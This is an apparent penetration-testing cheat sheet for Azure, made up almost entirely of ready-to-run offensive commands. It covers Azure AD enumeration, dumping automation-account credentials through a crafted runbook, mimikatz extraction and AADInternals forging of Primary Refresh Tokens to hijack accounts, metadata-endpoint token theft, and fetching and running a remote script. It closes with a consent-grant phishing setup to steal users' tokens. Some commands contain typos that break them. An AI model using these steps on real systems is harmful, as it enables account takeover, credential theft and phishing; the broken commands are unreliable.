Azure

Table of content

Tools

Roadrecon

ROADtools is a framework to interact with Azure AD. It currently consists of a library (roadlib) and the ROADrecon Azure AD exploration tool. github

python3 -m pip install roadrecon
roadrecon auth --device-code
roadrecon gather
road-recon gui

ScoutSuite

Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. Using the APIs exposed by cloud providers, Scout Suite gathers configuration data for manual inspection and highlights risk areas. Rather than going through dozens of pages on the web consoles, Scout Suite presents a clear view of the attack surface automatically. github

# Connect to Azure and run the following command
python scout.py azure --cli

AzPowershell

Install

Install-Module Az -Force

Connect

$Username = ${username}
$Password = ${password}
$User = (New-Object System.management.automation.PSCredential($Username, (ConvertToSecureString $Password -AsPlainText -Force)))
Connect-AzAccount -Credential $User

IAM enumeration

# Get user role
Get-AzRoleAssignment | Format-List SignInName,RoleDefinitionName,Scope

# Azure AD Groups
Get-AzAdGroup

# Azure AD Users
Get-AzADUser
az role assignement list --all

List storage containers

With Reader permission on Storage Accounts it is possible to retrieve containers exposed with public access:

(Get-AzStorageAccount | Get-AzStorageContainer).cloudBlobContainer | select Uri,@{n='PublicAccess';e={$_.Properties.PublicAccess}}

AzAutomation

AzAutomationAccount

The Contributor role of an automation account grants full access to all the resources in the automation account such as Runbooks and Desired State Configuration.

Get-AzAutomationAccount

Desired State Configuration

List the DSC

Get-AzAutomationAccount | Get-AzAutomationDscConfiguration

Export the configuration

$DSCName = ${dscToExport}
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -march $DSCName} | Export-AzAutomationDscConfiguration -OutputFolder (get-location) -Debug

Runbook

List the Runbooks

Get-AzAutomationAccount | Get-AzAutomationRunbook

Export scripts

Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder (pwd)

Create new Runbook

Runbook can access to automation credentials configured in the environment.

It can be interesting to create a Runbook to fetch these credentials

$ResourceGroupName = ${resource}
$AutomationAccountName = ${automationAccount}
$RunbookName = ${newRunbookName}

@' 
${runbookScript}
'@ | out-file -encofing ascii 'runbook.ps1'

New-AzAutomationRunbook -Name $RunbookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell

Import-AzAutomationRunbook -Path 'runbook.ps1' -Name $RunbookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force

Publish-AzAutomationRunbook -Name $RunbookName -AutomationAccountName ÂutomationAccountName -ResourceGroupName $ResourceGroupName

Start a runbook

$ResourceGroupName = ${resource}
$AutomationAccountName = ${automationAccount}
$RunbookName = ${newRunbookName}
$start = Start-AzAutomationRunBook -Name $RunbookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput.Summary)

Automation Credentials

Get-AzAutomationAccount | Get-AzAutomationCredential

PRT

Extract the PRTPRT and unprotect the keys

# mimikatz
sekurlsa::cloudap
Dpapi::cloudapkd /keyvalue:${keyValue} /unprotect

Generate a new PRT

Install-Module AADInternals
$MimikatzPRT = "${prtToken}"
# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Add the session key (Clear key) to a variable
$MimikatzKey = "${clearKey}"
# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
Write-Host $prtToken

Inject the PRT as a cookie to hijack the account :

  • Cookie name : x-ms-RefreshTokenCredential
  • HTTPOnly : true
  • Domain : login.microsoft.com
  • Path : /

Service Principal

The Service Principal account used to launch specific services. Thus, the service does not use a real user account to run but a dedicated account with limited privileges.

These account username and password are UUID.

List accounts

Get-AzureAdPrincpal -All $true

Docker

The Azure Docker URI look like ${tenant}.azurecr.io.

List docker containers inside a registry

The Get-AzACR script can be used to enumerate Docker pull URL's

IEX (New-Object Net.WebClient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2
Get-AzACR -username ${username} -password ${password} -registry ${registryURI}

Connect to a docker with azure credentials

docker login ${registryURI} --username ${username} --password ${password}

Connect to Azure VM with AzureAccount

ssh -l ${userMail} ${ip} -p ${port}
# ssh -l yoann.dequeker@wavestone.com 10.10.10.10 -p 1337

Managed identity

When connected to a Azure VM, it is possible to steel Azure token if the VM identity is managed

curl 'http://169.254.169.254/metadata/identity/oauth2/token.api-version=2018-02-01&resource=https://management.azure.com/' -H 'Metadata:true'

It is then possible to login as this user with

az login --identity

WebApp

List webapp

az webapp list

Configuration

Some secrets can be stored in the configuration file. For example, database credentials can be stored in Azure

az webapp config connection-string list --name ${appName} --resource-group ${resourceName}

Likewise, sensitive information can be stored in the deployment configuration

az webapp deployment list-publishing-profiles --resource-group ${resourceName} --name ${appName}

WebSSH

The Website Contributorrole can access to the application underlying operating system through the Console feature.

It is possible to establish an SSH over HTTP connection when the /webssh/host endpoint can be reached

(curl https://${appName}?app.scm.azurewebsites.net/webssh/host).statuscode

The SSH session can be opened with AzCli

# It open a port forwardin (43605)
az webapp create-remote-connection --subscription ${subscription} --resource-groupe ${resourceGroup} --n ${applicationName}

# Connect to ssh
ssh root@localhost -p 43605

Consent grant attack

The Consent grant attack is an attack where a user will connect to a malicious application with his Azure account. The malicious application will ask for several permission such as the right to read OneDrive files or access to Outlook.

The application is designed to redirect the user and steal its authentication token to abuse the excessive rights.

At the moment, this attack will not work on cross tenant users as it asks for administrator rights during the authentication.

Set up the trap

The 365-Stealer project can be deployed on a server to automatize token retrieval and use.

Set the application permission

The permission code can be found here

Be careful, some rights need Administrator approval and users will not be able to accept them.

Set the application permission a new manifest.json file:

# manifest.json

[
    {
        "resourceAppId": "00000003-0000-0000-c000-000000000000",
        "resourceAccess": [
            {
                "id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
                "type": "Scope"
            },
            {
                "id": "863451e7-0667-486c-a5d6-d135439485f0",
                "type": "Scope"
            }
        ]
    }
]

Create a new application

This application will authenticate the user and redirect him to the 365-stealer application deployed on a remote server.

az ad app create --display-name ${appName} --available-to-other-tenants true --reply-urls https://${serverName}/login/authorized --oauth2-allow-implicit-flow false --required-resource-accesses @manifest.json
az ad app owner add --owner-object cd60eb94-ad23-4cee-86cc-4819be4d6123 --id 7de80acb-4263-4a8f-9f8b-30b9abcab4e3
az ad app update --id 7de80acb-4263-4a8f-9f8b-30b9abcab4e3 --oauth2-allow-implicit-flow false
az ad app update --id 7de80acb-4263-4a8f-9f8b-30b9abcab4e3 --set oauth2Permissions[0].isEnabled=false
az ad app update --id 7de80acb-4263-4a8f-9f8b-30b9abcab4e3 --set oauth2Permissions=[]
az ad app credential reset --id 7de80acb-4263-4a8f-9f8b-30b9abcab4e3

Send the malicious URL

'https://login.microsoftonline.com/common/oauth2/authorize?%20response_type=code&client_id=${applicationClientId}&redirect_uri${redirectUri}&response_mode=query'

results matching ""

    No results matching ""

    results matching ""

      No results matching ""